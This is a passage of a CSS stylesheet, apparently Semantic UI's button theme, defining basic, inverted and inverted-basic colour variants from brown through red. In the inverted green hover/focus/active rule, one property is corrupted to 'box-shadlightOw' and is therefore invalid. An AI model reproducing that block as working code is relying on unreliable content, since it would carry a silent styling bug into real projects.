-2px;\n}\n\n/* Inverted */\n\n.ui.inverted.brown.buttons .button,\n.ui.inverted.brown.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px #d67c1c inset !important;\n  color: #d67c1c;\n}\n\n.ui.inverted.brown.buttons .button:hover,\n.ui.inverted.brown.button:hover,\n.ui.inverted.brown.buttons .button:focus,\n.ui.inverted.brown.button:focus,\n.ui.inverted.brown.buttons .button.active,\n.ui.inverted.brown.button.active,\n.ui.inverted.brown.buttons .button:active,\n.ui.inverted.brown.button:active {\n  box-shadow: none !important;\n  color: #ffffff;\n}\n\n.ui.inverted.brown.buttons .button:hover,\n.ui.inverted.brown.button:hover {\n  background-color: #c86f11;\n}\n\n.ui.inverted.brown.buttons .button:focus,\n.ui.inverted.brown.button:focus {\n  background-color: #c16808;\n}\n\n.ui.inverted.brown.buttons .active.button,\n.ui.inverted.brown.active.button {\n  background-color: #cc6f0d;\n}\n\n.ui.inverted.brown.buttons .button:active,\n.ui.inverted.brown.button:active {\n  background-color: #a96216;\n}\n\n/* Inverted Basic */\n\n.ui.inverted.brown.basic.buttons .button,\n.ui.inverted.brown.buttons .basic.button,\n.ui.inverted.brown.basic.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;\n  color: #ffffff !important;\n}\n\n.ui.inverted.brown.basic.buttons .button:hover,\n.ui.inverted.brown.buttons .basic.button:hover,\n.ui.inverted.brown.basic.button:hover {\n  box-shadow: 0px 0px 0px 2px #c86f11 inset !important;\n  color: #d67c1c !important;\n}\n\n.ui.inverted.brown.basic.buttons .button:focus,\n.ui.inverted.brown.basic.buttons .button:focus,\n.ui.inverted.brown.basic.button:focus {\n  box-shadow: 0px 0px 0px 2px #c16808 inset !important;\n  color: #d67c1c !important;\n}\n\n.ui.inverted.brown.basic.buttons .active.button,\n.ui.inverted.brown.buttons .basic.active.button,\n.ui.inverted.brown.basic.active.button {\n  box-shadow: 0px 0px 0px 2px #cc6f0d inset !important;\n  color: #d67c1c !important;\n}\n\n.ui.inverted.brown.basic.buttons .button:active,\n.ui.inverted.brown.buttons .basic.button:active,\n.ui.inverted.brown.basic.button:active {\n  box-shadow: 0px 0px 0px 2px #a96216 inset !important;\n  color: #d67c1c !important;\n}\n\n/*--- Blue ---*/\n\n.ui.blue.buttons .button,\n.ui.blue.button {\n  background-color: #2185d0;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n}\n\n.ui.blue.button {\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.blue.buttons .button:hover,\n.ui.blue.button:hover {\n  background-color: #1678c2;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.blue.buttons .button:focus,\n.ui.blue.button:focus {\n  background-color: #0d71bb;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.blue.buttons .button:active,\n.ui.blue.button:active {\n  background-color: #1a69a4;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.blue.buttons .active.button,\n.ui.blue.buttons .active.button:active,\n.ui.blue.active.button,\n.ui.blue.button .active.button:active {\n  background-color: #1279c6;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/* Basic */\n\n.ui.basic.blue.buttons .button,\n.ui.basic.blue.button {\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset !important;\n  color: rgba(0, 0, 0, 0.6) !important;\n}\n\n.ui.basic.blue.buttons .button:hover,\n.ui.basic.blue.button:hover {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #1678c2 inset !important;\n  color: #1678c2 !important;\n}\n\n.ui.basic.blue.buttons .button:focus,\n.ui.basic.blue.button:focus {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #0d71bb inset !important;\n}\n\n.ui.basic.blue.buttons .active.button,\n.ui.basic.blue.active.button {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #1279c6 inset !important;\n  color: #1a69a4 !important;\n}\n\n.ui.basic.blue.buttons .button:active,\n.ui.basic.blue.button:active {\n  box-shadow: 0px 0px 0px 2px #1a69a4 inset !important;\n  color: #1a69a4 !important;\n}\n\n.ui.buttons > .basic.blue.button:not(:first-child) {\n  margin-left: -2px;\n}\n\n/* Inverted */\n\n.ui.inverted.blue.buttons .button,\n.ui.inverted.blue.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px #54c8ff inset !important;\n  color: #54c8ff;\n}\n\n.ui.inverted.blue.buttons .button:hover,\n.ui.inverted.blue.button:hover,\n.ui.inverted.blue.buttons .button:focus,\n.ui.inverted.blue.button:focus,\n.ui.inverted.blue.buttons .button.active,\n.ui.inverted.blue.button.active,\n.ui.inverted.blue.buttons .button:active,\n.ui.inverted.blue.button:active {\n  box-shadow: none !important;\n  color: #ffffff;\n}\n\n.ui.inverted.blue.buttons .button:hover,\n.ui.inverted.blue.button:hover {\n  background-color: #3ac0ff;\n}\n\n.ui.inverted.blue.buttons .button:focus,\n.ui.inverted.blue.button:focus {\n  background-color: #2bbbff;\n}\n\n.ui.inverted.blue.buttons .active.button,\n.ui.inverted.blue.active.button {\n  background-color: #3ac0ff;\n}\n\n.ui.inverted.blue.buttons .button:active,\n.ui.inverted.blue.button:active {\n  background-color: #21b8ff;\n}\n\n/* Inverted Basic */\n\n.ui.inverted.blue.basic.buttons .button,\n.ui.inverted.blue.buttons .basic.button,\n.ui.inverted.blue.basic.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;\n  color: #ffffff !important;\n}\n\n.ui.inverted.blue.basic.buttons .button:hover,\n.ui.inverted.blue.buttons .basic.button:hover,\n.ui.inverted.blue.basic.button:hover {\n  box-shadow: 0px 0px 0px 2px #3ac0ff inset !important;\n  color: #54c8ff !important;\n}\n\n.ui.inverted.blue.basic.buttons .button:focus,\n.ui.inverted.blue.basic.buttons .button:focus,\n.ui.inverted.blue.basic.button:focus {\n  box-shadow: 0px 0px 0px 2px #2bbbff inset !important;\n  color: #54c8ff !important;\n}\n\n.ui.inverted.blue.basic.buttons .active.button,\n.ui.inverted.blue.buttons .basic.active.button,\n.ui.inverted.blue.basic.active.button {\n  box-shadow: 0px 0px 0px 2px #3ac0ff inset !important;\n  color: #54c8ff !important;\n}\n\n.ui.inverted.blue.basic.buttons .button:active,\n.ui.inverted.blue.buttons .basic.button:active,\n.ui.inverted.blue.basic.button:active {\n  box-shadow: 0px 0px 0px 2px #21b8ff inset !important;\n  color: #54c8ff !important;\n}\n\n/*--- Green ---*/\n\n.ui.green.buttons .button,\n.ui.green.button {\n  background-color: #21ba45;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n}\n\n.ui.green.button {\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.green.buttons .button:hover,\n.ui.green.button:hover {\n  background-color: #16ab39;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.green.buttons .button:focus,\n.ui.green.button:focus {\n  background-color: #0ea432;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.green.buttons .button:active,\n.ui.green.button:active {\n  background-color: #198f35;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.green.buttons .active.button,\n.ui.green.buttons .active.button:active,\n.ui.green.active.button,\n.ui.green.button .active.button:active {\n  background-color: #13ae38;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/* Basic */\n\n.ui.basic.green.buttons .button,\n.ui.basic.green.button {\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset !important;\n  color: rgba(0, 0, 0, 0.6) !important;\n}\n\n.ui.basic.green.buttons .button:hover,\n.ui.basic.green.button:hover {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #16ab39 inset !important;\n  color: #16ab39 !important;\n}\n\n.ui.basic.green.buttons .button:focus,\n.ui.basic.green.button:focus {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #0ea432 inset !important;\n}\n\n.ui.basic.green.buttons .active.button,\n.ui.basic.green.active.button {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #13ae38 inset !important;\n  color: #198f35 !important;\n}\n\n.ui.basic.green.buttons .button:active,\n.ui.basic.green.button:active {\n  box-shadow: 0px 0px 0px 2px #198f35 inset !important;\n  color: #198f35 !important;\n}\n\n.ui.buttons > .basic.green.button:not(:first-child) {\n  margin-left: -2px;\n}\n\n/* Inverted */\n\n.ui.inverted.green.buttons .button,\n.ui.inverted.green.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px #2ecc40 inset !important;\n  color: #2ecc40;\n}\n\n.ui.inverted.green.buttons .button:hover,\n.ui.inverted.green.button:hover,\n.ui.inverted.green.buttons .button:focus,\n.ui.inverted.green.button:focus,\n.ui.inverted.green.buttons .button.active,\n.ui.inverted.green.button.active,\n.ui.inverted.green.buttons .button:active,\n.ui.inverted.green.button:active {\n  box-shadlightOw: none !important;\n  color: #ffffff;\n}\n\n.ui.inverted.green.buttons .button:hover,\n.ui.inverted.green.button:hover {\n  background-color: #22be34;\n}\n\n.ui.inverted.green.buttons .button:focus,\n.ui.inverted.green.button:focus {\n  background-color: #19b82b;\n}\n\n.ui.inverted.green.buttons .active.button,\n.ui.inverted.green.active.button {\n  background-color: #1fc231;\n}\n\n.ui.inverted.green.buttons .button:active,\n.ui.inverted.green.button:active {\n  background-color: #25a233;\n}\n\n/* Inverted Basic */\n\n.ui.inverted.green.basic.buttons .button,\n.ui.inverted.green.buttons .basic.button,\n.ui.inverted.green.basic.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;\n  color: #ffffff !important;\n}\n\n.ui.inverted.green.basic.buttons .button:hover,\n.ui.inverted.green.buttons .basic.button:hover,\n.ui.inverted.green.basic.button:hover {\n  box-shadow: 0px 0px 0px 2px #22be34 inset !important;\n  color: #2ecc40 !important;\n}\n\n.ui.inverted.green.basic.buttons .button:focus,\n.ui.inverted.green.basic.buttons .button:focus,\n.ui.inverted.green.basic.button:focus {\n  box-shadow: 0px 0px 0px 2px #19b82b inset !important;\n  color: #2ecc40 !important;\n}\n\n.ui.inverted.green.basic.buttons .active.button,\n.ui.inverted.green.buttons .basic.active.button,\n.ui.inverted.green.basic.active.button {\n  box-shadow: 0px 0px 0px 2px #1fc231 inset !important;\n  color: #2ecc40 !important;\n}\n\n.ui.inverted.green.basic.buttons .button:active,\n.ui.inverted.green.buttons .basic.button:active,\n.ui.inverted.green.basic.button:active {\n  box-shadow: 0px 0px 0px 2px #25a233 inset !important;\n  color: #2ecc40 !important;\n}\n\n/*--- Orange ---*/\n\n.ui.orange.buttons .button,\n.ui.orange.button {\n  background-color: #f2711c;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n}\n\n.ui.orange.button {\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.orange.buttons .button:hover,\n.ui.orange.button:hover {\n  background-color: #f26202;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.orange.buttons .button:focus,\n.ui.orange.button:focus {\n  background-color: #e55b00;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.orange.buttons .button:active,\n.ui.orange.button:active {\n  background-color: #cf590c;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.orange.buttons .active.button,\n.ui.orange.buttons .active.button:active,\n.ui.orange.active.button,\n.ui.orange.button .active.button:active {\n  background-color: #f56100;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/* Basic */\n\n.ui.basic.orange.buttons .button,\n.ui.basic.orange.button {\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset !important;\n  color: rgba(0, 0, 0, 0.6) !important;\n}\n\n.ui.basic.orange.buttons .button:hover,\n.ui.basic.orange.button:hover {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #f26202 inset !important;\n  color: #f26202 !important;\n}\n\n.ui.basic.orange.buttons .button:focus,\n.ui.basic.orange.button:focus {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #e55b00 inset !important;\n}\n\n.ui.basic.orange.buttons .active.button,\n.ui.basic.orange.active.button {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #f56100 inset !important;\n  color: #cf590c !important;\n}\n\n.ui.basic.orange.buttons .button:active,\n.ui.basic.orange.button:active {\n  box-shadow: 0px 0px 0px 2px #cf590c inset !important;\n  color: #cf590c !important;\n}\n\n.ui.buttons > .basic.orange.button:not(:first-child) {\n  margin-left: -2px;\n}\n\n/* Inverted */\n\n.ui.inverted.orange.buttons .button,\n.ui.inverted.orange.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px #ff851b inset !important;\n  color: #ff851b;\n}\n\n.ui.inverted.orange.buttons .button:hover,\n.ui.inverted.orange.button:hover,\n.ui.inverted.orange.buttons .button:focus,\n.ui.inverted.orange.button:focus,\n.ui.inverted.orange.buttons .button.active,\n.ui.inverted.orange.button.active,\n.ui.inverted.orange.buttons .button:active,\n.ui.inverted.orange.button:active {\n  box-shadow: none !important;\n  color: #ffffff;\n}\n\n.ui.inverted.orange.buttons .button:hover,\n.ui.inverted.orange.button:hover {\n  background-color: #ff7701;\n}\n\n.ui.inverted.orange.buttons .button:focus,\n.ui.inverted.orange.button:focus {\n  background-color: #f17000;\n}\n\n.ui.inverted.orange.buttons .active.button,\n.ui.inverted.orange.active.button {\n  background-color: #ff7701;\n}\n\n.ui.inverted.orange.buttons .button:active,\n.ui.inverted.orange.button:active {\n  background-color: #e76b00;\n}\n\n/* Inverted Basic */\n\n.ui.inverted.orange.basic.buttons .button,\n.ui.inverted.orange.buttons .basic.button,\n.ui.inverted.orange.basic.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;\n  color: #ffffff !important;\n}\n\n.ui.inverted.orange.basic.buttons .button:hover,\n.ui.inverted.orange.buttons .basic.button:hover,\n.ui.inverted.orange.basic.button:hover {\n  box-shadow: 0px 0px 0px 2px #ff7701 inset !important;\n  color: #ff851b !important;\n}\n\n.ui.inverted.orange.basic.buttons .button:focus,\n.ui.inverted.orange.basic.buttons .button:focus,\n.ui.inverted.orange.basic.button:focus {\n  box-shadow: 0px 0px 0px 2px #f17000 inset !important;\n  color: #ff851b !important;\n}\n\n.ui.inverted.orange.basic.buttons .active.button,\n.ui.inverted.orange.buttons .basic.active.button,\n.ui.inverted.orange.basic.active.button {\n  box-shadow: 0px 0px 0px 2px #ff7701 inset !important;\n  color: #ff851b !important;\n}\n\n.ui.inverted.orange.basic.buttons .button:active,\n.ui.inverted.orange.buttons .basic.button:active,\n.ui.inverted.orange.basic.button:active {\n  box-shadow: 0px 0px 0px 2px #e76b00 inset !important;\n  color: #ff851b !important;\n}\n\n/*--- Pink ---*/\n\n.ui.pink.buttons .button,\n.ui.pink.button {\n  background-color: #e03997;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n}\n\n.ui.pink.button {\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.pink.buttons .button:hover,\n.ui.pink.button:hover {\n  background-color: #e61a8d;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.pink.buttons .button:focus,\n.ui.pink.button:focus {\n  background-color: #e10f85;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.pink.buttons .button:active,\n.ui.pink.button:active {\n  background-color: #c71f7e;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.pink.buttons .active.button,\n.ui.pink.buttons .active.button:active,\n.ui.pink.active.button,\n.ui.pink.button .active.button:active {\n  background-color: #ea158d;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/* Basic */\n\n.ui.basic.pink.buttons .button,\n.ui.basic.pink.button {\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset !important;\n  color: rgba(0, 0, 0, 0.6) !important;\n}\n\n.ui.basic.pink.buttons .button:hover,\n.ui.basic.pink.button:hover {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #e61a8d inset !important;\n  color: #e61a8d !important;\n}\n\n.ui.basic.pink.buttons .button:focus,\n.ui.basic.pink.button:focus {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #e10f85 inset !important;\n}\n\n.ui.basic.pink.buttons .active.button,\n.ui.basic.pink.active.button {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #ea158d inset !important;\n  color: #c71f7e !important;\n}\n\n.ui.basic.pink.buttons .button:active,\n.ui.basic.pink.button:active {\n  box-shadow: 0px 0px 0px 2px #c71f7e inset !important;\n  color: #c71f7e !important;\n}\n\n.ui.buttons > .basic.pink.button:not(:first-child) {\n  margin-left: -2px;\n}\n\n/* Inverted */\n\n.ui.inverted.pink.buttons .button,\n.ui.inverted.pink.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px #ff8edf inset !important;\n  color: #ff8edf;\n}\n\n.ui.inverted.pink.buttons .button:hover,\n.ui.inverted.pink.button:hover,\n.ui.inverted.pink.buttons .button:focus,\n.ui.inverted.pink.button:focus,\n.ui.inverted.pink.buttons .button.active,\n.ui.inverted.pink.button.active,\n.ui.inverted.pink.buttons .button:active,\n.ui.inverted.pink.button:active {\n  box-shadow: none !important;\n  color: #ffffff;\n}\n\n.ui.inverted.pink.buttons .button:hover,\n.ui.inverted.pink.button:hover {\n  background-color: #ff74d8;\n}\n\n.ui.inverted.pink.buttons .button:focus,\n.ui.inverted.pink.button:focus {\n  background-color: #ff65d3;\n}\n\n.ui.inverted.pink.buttons .active.button,\n.ui.inverted.pink.active.button {\n  background-color: #ff74d8;\n}\n\n.ui.inverted.pink.buttons .button:active,\n.ui.inverted.pink.button:active {\n  background-color: #ff5bd1;\n}\n\n/* Inverted Basic */\n\n.ui.inverted.pink.basic.buttons .button,\n.ui.inverted.pink.buttons .basic.button,\n.ui.inverted.pink.basic.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;\n  color: #ffffff !important;\n}\n\n.ui.inverted.pink.basic.buttons .button:hover,\n.ui.inverted.pink.buttons .basic.button:hover,\n.ui.inverted.pink.basic.button:hover {\n  box-shadow: 0px 0px 0px 2px #ff74d8 inset !important;\n  color: #ff8edf !important;\n}\n\n.ui.inverted.pink.basic.buttons .button:focus,\n.ui.inverted.pink.basic.buttons .button:focus,\n.ui.inverted.pink.basic.button:focus {\n  box-shadow: 0px 0px 0px 2px #ff65d3 inset !important;\n  color: #ff8edf !important;\n}\n\n.ui.inverted.pink.basic.buttons .active.button,\n.ui.inverted.pink.buttons .basic.active.button,\n.ui.inverted.pink.basic.active.button {\n  box-shadow: 0px 0px 0px 2px #ff74d8 inset !important;\n  color: #ff8edf !important;\n}\n\n.ui.inverted.pink.basic.buttons .button:active,\n.ui.inverted.pink.buttons .basic.button:active,\n.ui.inverted.pink.basic.button:active {\n  box-shadow: 0px 0px 0px 2px #ff5bd1 inset !important;\n  color: #ff8edf !important;\n}\n\n/*--- Violet ---*/\n\n.ui.violet.buttons .button,\n.ui.violet.button {\n  background-color: #6435c9;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n}\n\n.ui.violet.button {\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.violet.buttons .button:hover,\n.ui.violet.button:hover {\n  background-color: #5829bb;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.violet.buttons .button:focus,\n.ui.violet.button:focus {\n  background-color: #4f20b5;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.violet.buttons .button:active,\n.ui.violet.button:active {\n  background-color: #502aa1;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.violet.buttons .active.button,\n.ui.violet.buttons .active.button:active,\n.ui.violet.active.button,\n.ui.violet.button .active.button:active {\n  background-color: #5626bf;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/* Basic */\n\n.ui.basic.violet.buttons .button,\n.ui.basic.violet.button {\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset !important;\n  color: rgba(0, 0, 0, 0.6) !important;\n}\n\n.ui.basic.violet.buttons .button:hover,\n.ui.basic.violet.button:hover {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #5829bb inset !important;\n  color: #5829bb !important;\n}\n\n.ui.basic.violet.buttons .button:focus,\n.ui.basic.violet.button:focus {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #4f20b5 inset !important;\n}\n\n.ui.basic.violet.buttons .active.button,\n.ui.basic.violet.active.button {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #5626bf inset !important;\n  color: #502aa1 !important;\n}\n\n.ui.basic.violet.buttons .button:active,\n.ui.basic.violet.button:active {\n  box-shadow: 0px 0px 0px 2px #502aa1 inset !important;\n  color: #502aa1 !important;\n}\n\n.ui.buttons > .basic.violet.button:not(:first-child) {\n  margin-left: -2px;\n}\n\n/* Inverted */\n\n.ui.inverted.violet.buttons .button,\n.ui.inverted.violet.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px #a291fb inset !important;\n  color: #a291fb;\n}\n\n.ui.inverted.violet.buttons .button:hover,\n.ui.inverted.violet.button:hover,\n.ui.inverted.violet.buttons .button:focus,\n.ui.inverted.violet.button:focus,\n.ui.inverted.violet.buttons .button.active,\n.ui.inverted.violet.button.active,\n.ui.inverted.violet.buttons .button:active,\n.ui.inverted.violet.button:active {\n  box-shadow: none !important;\n  color: #ffffff;\n}\n\n.ui.inverted.violet.buttons .button:hover,\n.ui.inverted.violet.button:hover {\n  background-color: #8a73ff;\n}\n\n.ui.inverted.violet.buttons .button:focus,\n.ui.inverted.violet.button:focus {\n  background-color: #7d64ff;\n}\n\n.ui.inverted.violet.buttons .active.button,\n.ui.inverted.violet.active.button {\n  background-color: #8a73ff;\n}\n\n.ui.inverted.violet.buttons .button:active,\n.ui.inverted.violet.button:active {\n  background-color: #7860f9;\n}\n\n/* Inverted Basic */\n\n.ui.inverted.violet.basic.buttons .button,\n.ui.inverted.violet.buttons .basic.button,\n.ui.inverted.violet.basic.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;\n  color: #ffffff !important;\n}\n\n.ui.inverted.violet.basic.buttons .button:hover,\n.ui.inverted.violet.buttons .basic.button:hover,\n.ui.inverted.violet.basic.button:hover {\n  box-shadow: 0px 0px 0px 2px #8a73ff inset !important;\n  color: #a291fb !important;\n}\n\n.ui.inverted.violet.basic.buttons .button:focus,\n.ui.inverted.violet.basic.buttons .button:focus,\n.ui.inverted.violet.basic.button:focus {\n  box-shadow: 0px 0px 0px 2px #7d64ff inset !important;\n  color: #a291fb !important;\n}\n\n.ui.inverted.violet.basic.buttons .active.button,\n.ui.inverted.violet.buttons .basic.active.button,\n.ui.inverted.violet.basic.active.button {\n  box-shadow: 0px 0px 0px 2px #8a73ff inset !important;\n  color: #a291fb !important;\n}\n\n.ui.inverted.violet.basic.buttons .button:active,\n.ui.inverted.violet.buttons .basic.button:active,\n.ui.inverted.violet.basic.button:active {\n  box-shadow: 0px 0px 0px 2px #7860f9 inset !important;\n  color: #a291fb !important;\n}\n\n/*--- Purple ---*/\n\n.ui.purple.buttons .button,\n.ui.purple.button {\n  background-color: #a333c8;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n}\n\n.ui.purple.button {\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.purple.buttons .button:hover,\n.ui.purple.button:hover {\n  background-color: #9627ba;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.purple.buttons .button:focus,\n.ui.purple.button:focus {\n  background-color: #8f1eb4;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.purple.buttons .button:active,\n.ui.purple.button:active {\n  background-color: #82299f;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.purple.buttons .active.button,\n.ui.purple.buttons .active.button:active,\n.ui.purple.active.button,\n.ui.purple.button .active.button:active {\n  background-color: #9724be;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/* Basic */\n\n.ui.basic.purple.buttons .button,\n.ui.basic.purple.button {\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset !important;\n  color: rgba(0, 0, 0, 0.6) !important;\n}\n\n.ui.basic.purple.buttons .button:hover,\n.ui.basic.purple.button:hover {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #9627ba inset !important;\n  color: #9627ba !important;\n}\n\n.ui.basic.purple.buttons .button:focus,\n.ui.basic.purple.button:focus {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #8f1eb4 inset !important;\n}\n\n.ui.basic.purple.buttons .active.button,\n.ui.basic.purple.active.button {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #9724be inset !important;\n  color: #82299f !important;\n}\n\n.ui.basic.purple.buttons .button:active,\n.ui.basic.purple.button:active {\n  box-shadow: 0px 0px 0px 2px #82299f inset !important;\n  color: #82299f !important;\n}\n\n.ui.buttons > .basic.purple.button:not(:first-child) {\n  margin-left: -2px;\n}\n\n/* Inverted */\n\n.ui.inverted.purple.buttons .button,\n.ui.inverted.purple.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px #dc73ff inset !important;\n  color: #dc73ff;\n}\n\n.ui.inverted.purple.buttons .button:hover,\n.ui.inverted.purple.button:hover,\n.ui.inverted.purple.buttons .button:focus,\n.ui.inverted.purple.button:focus,\n.ui.inverted.purple.buttons .button.active,\n.ui.inverted.purple.button.active,\n.ui.inverted.purple.buttons .button:active,\n.ui.inverted.purple.button:active {\n  box-shadow: none !important;\n  color: #ffffff;\n}\n\n.ui.inverted.purple.buttons .button:hover,\n.ui.inverted.purple.button:hover {\n  background-color: #d65aff;\n}\n\n.ui.inverted.purple.buttons .button:focus,\n.ui.inverted.purple.button:focus {\n  background-color: #d24aff;\n}\n\n.ui.inverted.purple.buttons .active.button,\n.ui.inverted.purple.active.button {\n  background-color: #d65aff;\n}\n\n.ui.inverted.purple.buttons .button:active,\n.ui.inverted.purple.button:active {\n  background-color: #cf40ff;\n}\n\n/* Inverted Basic */\n\n.ui.inverted.purple.basic.buttons .button,\n.ui.inverted.purple.buttons .basic.button,\n.ui.inverted.purple.basic.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;\n  color: #ffffff !important;\n}\n\n.ui.inverted.purple.basic.buttons .button:hover,\n.ui.inverted.purple.buttons .basic.button:hover,\n.ui.inverted.purple.basic.button:hover {\n  box-shadow: 0px 0px 0px 2px #d65aff inset !important;\n  color: #dc73ff !important;\n}\n\n.ui.inverted.purple.basic.buttons .button:focus,\n.ui.inverted.purple.basic.buttons .button:focus,\n.ui.inverted.purple.basic.button:focus {\n  box-shadow: 0px 0px 0px 2px #d24aff inset !important;\n  color: #dc73ff !important;\n}\n\n.ui.inverted.purple.basic.buttons .active.button,\n.ui.inverted.purple.buttons .basic.active.button,\n.ui.inverted.purple.basic.active.button {\n  box-shadow: 0px 0px 0px 2px #d65aff inset !important;\n  color: #dc73ff !important;\n}\n\n.ui.inverted.purple.basic.buttons .button:active,\n.ui.inverted.purple.buttons .basic.button:active,\n.ui.inverted.purple.basic.button:active {\n  box-shadow: 0px 0px 0px 2px #cf40ff inset !important;\n  color: #dc73ff !important;\n}\n\n/*--- Red ---*/\n\n.ui.red.buttons .button,\n.ui.red.button {\n  background-color: #db2828;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n}\n\n.ui.red.button {\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.red.buttons .button:hover,\n.ui.red.button:hover {\n  background-color: #d01919;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.red.buttons .button:focus,\n.ui.red.button:focus {\n  background-color: #ca1010;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.red.buttons .button:active,\n.ui.red.button:active {\n  background-color: #b21e1e;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.red.buttons .active.button,\n.ui.red.buttons .active.button:active,\n.ui.red.active.button,\n.ui.red.button .active.button:active {\n  background-color: #d41515;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/* Basic */\n\n.ui.basic.red.buttons .button,\n.ui.basic.red.button {\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset !important;\n  color: rgba(0, 0, 0, 0.6) !important;\n}\n\n.ui.basic.red.buttons .button:hover,\n.ui.basic.red.button:hover {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #d01919 inset !important;\n  color: #d01919 !important;\n}\n\n.ui.basic.red.buttons .button:focus,\n.ui.basic.red.button:focus {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #ca1010 inset !important;\n}\n\n.ui.basic.red.buttons .active.button,\n.ui.basic.red.active.button {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #d41515 inset !important;\n  color: #b21e1e !important;\n}\n\n.ui.basic.red.buttons .button:active,\n.ui.basic.red.button:active {\n  box-shadow: 0px 0px 0px 2px #b21e1e inset !important;\n  color: #b21e1e !important;\n}\n\n.ui.buttons > .basic.red.button:not(:first-child) {\n  margin-left: -2px;\n}\n\n/* Inverted */\n\n.ui.inverted.red.buttons .button,\n.ui.inverted.red.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 